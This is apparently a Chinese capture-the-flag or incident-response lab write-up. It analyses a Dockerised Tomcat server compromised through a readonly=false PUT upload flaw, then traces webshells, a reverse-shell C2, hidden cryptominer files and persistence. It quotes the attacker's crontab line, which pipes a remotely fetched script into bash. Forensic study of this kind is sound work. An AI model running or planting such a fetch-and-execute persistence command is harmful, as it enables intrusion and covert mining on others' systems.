某公司运维人员发现其Docker容器中运行的Tomcat服务器CPU占用率异常飙升,怀疑服务器被入侵并植入了挖矿程序。现需要你作为安全应急响应人员,对该服务器进行全面的安全分析和溯源
cat yingji-v1.tar | docker load
docker run -it --rm ying:v1 /bin/bash
拉取镜像,然后创建一个临时容器并进入
攻击者利用了什么漏洞入侵了Tomcat服务器?请给出漏洞编号。
做法还是挺多的,我第一次做的时候是直接看历史记录的。tomcat有一个非常常见的漏洞就是利用PUT方式实现任意文件上传
grep -r "PUT" .

确实有很多,说明就是打的tomcat一个历史漏洞,然后直接搜索漏洞对应编号即可
官方答案:
直接看配置文件/usr/local/tomcat/conf/web.xml

这里的readonly值为false,就会造成任意文件上传漏洞
漏洞介绍:
Tomcat中如果在配置文件中设置了readonly=false,就会产生任意文件上传漏洞。
readonly的值默认是true,即不允许请求头delete和put操作,如果设置该参数为false,就可以通过put请求方法上传任意文件,例如jsp后门
其中一个Webshell是冰蝎(Behinder)马,请找出其连接密钥和密码。


在这里可以看到后很多文件,结合刚才日志中的上传内容不难猜出这些就是黑客上传的马子

直接筛选即可看到,这里的xc就是密钥,pass就是密码
攻击者使用反向Shell连接到了哪个C2服务器?请给出IP和端口。
反弹shell指令首先就是考虑在上传的马子里面寻找,可以看到有个shell.jsp文件非常可疑,当然也可以正则匹配找含有ip的文件。
grep -r -E "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" . | head -3


攻击者在服务器上植入了挖矿程序,请找出挖矿程序的完整路径(有多个请用逗号分隔)。
首先,我们要清楚的是,挖矿程序,想要长期执行,必须进行持久化操作,所以这里的切入点就是排查几个常见的持久化方式。这里我们首先排查systemd,进入/etc/systemd/system目录,查看有没有可疑服务

/opt/.kthread/kthread就是我们找到的第一个程序位置,一般来说,相关的组件会放在比较靠近的位置,我们先来到/opt目录下,然后查看还有其它什么目录,但是用ls发现并没有找到,说明含有隐藏目录,直接执行ls -a
. .. .X11-Xtrace .kthread
.X11-Xtrace显然就是组件所在目录
root@889d159297aa:/opt# ls .X11-Xtrace
kworker
攻击者通过什么方式实现挖矿程序的持久化?请给出持久化配置的完整内容。
持久化另一个常见操作就是定时任务(crontab)
root@889d159297aa:/opt# crontab -l
@reboot curl https://www.atteppzkf.com:8443/d/opi1G30i/exec.sh | bash
直接查看定时任务找到
挖矿程序连接的矿池地址是什么?
将文件放到微步云沙箱中分析

矿池服务器的域名是什么?
nslookup:是一个网络管理命令行工具,用于查询域名系统(DNS)记录。
└─# nslookup 159.198.35.43
43.35.198.159.in-addr.arpa name = nc-ph-0601-10.web-hosting.com.
攻击者用于下载恶意脚本的域名是什么?
就是刚才定时任务里面出现的那个域名